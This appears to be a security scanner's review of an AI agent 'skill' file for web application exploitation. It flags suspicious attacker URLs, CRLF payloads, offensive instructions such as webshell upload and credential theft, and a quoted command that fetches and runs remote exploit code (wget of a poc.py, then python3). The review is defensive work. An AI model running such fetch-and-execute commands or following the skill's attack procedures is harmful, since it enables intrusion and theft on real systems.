Web application exploitation — the primary category skill for all web-based attacks. This is a routing skill: read this first to identify the attack type, then load the appropriate specialized sub-skill for detailed procedures. Covers 11 technique areas across injection, file access, authentication, and API exploitation.

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.mdE005: Suspicious download URL detected in skill instructions.
What this means
Detected a suspicious URL in the skill instructions that could lead the agent to download and execute malicious scripts or binaries. This includes links to executables from untrusted sources, typosquatting of official packages, URL shorteners that obscure the destination, and personal file hosting services.
Why it was flagged
The list contains many attacker-controlled, typosquatted, or redirect/CRLF-style URLs (evil.com, attacker.com variants, target.com.evil.com, xn--80ak6aa92e.com, personal Firebase hosting, etc.) and obfuscated URLs (userinfo@host, %0d%0a payloads) that are high-risk vectors for hosting/distributing malware or phishing content.
E006: Malicious code pattern detected in skill scripts.
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
The repository contains explicit, step-by-step offensive exploitation instructions (RCE, webshell upload, OOB/DNS/HTTP exfiltration, IMDS credential theft, deserialization payloads, JWT/secret cracking) that are clearly intended to enable malicious data exfiltration and remote compromise.
W012: Unverifiable external dependency detected (runtime URL that controls agent).
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
The skill explicitly instructs the agent to fetch and run remote exploit code at runtime (e.g., wget "https://raw.githubusercontent.com/<user>/<repo>/main/poc.py" then python3 /tmp/cve_poc.py, and a git clone of https://github.com/nccgroup/singularity), which are runtime remote-code fetch+execute operations.
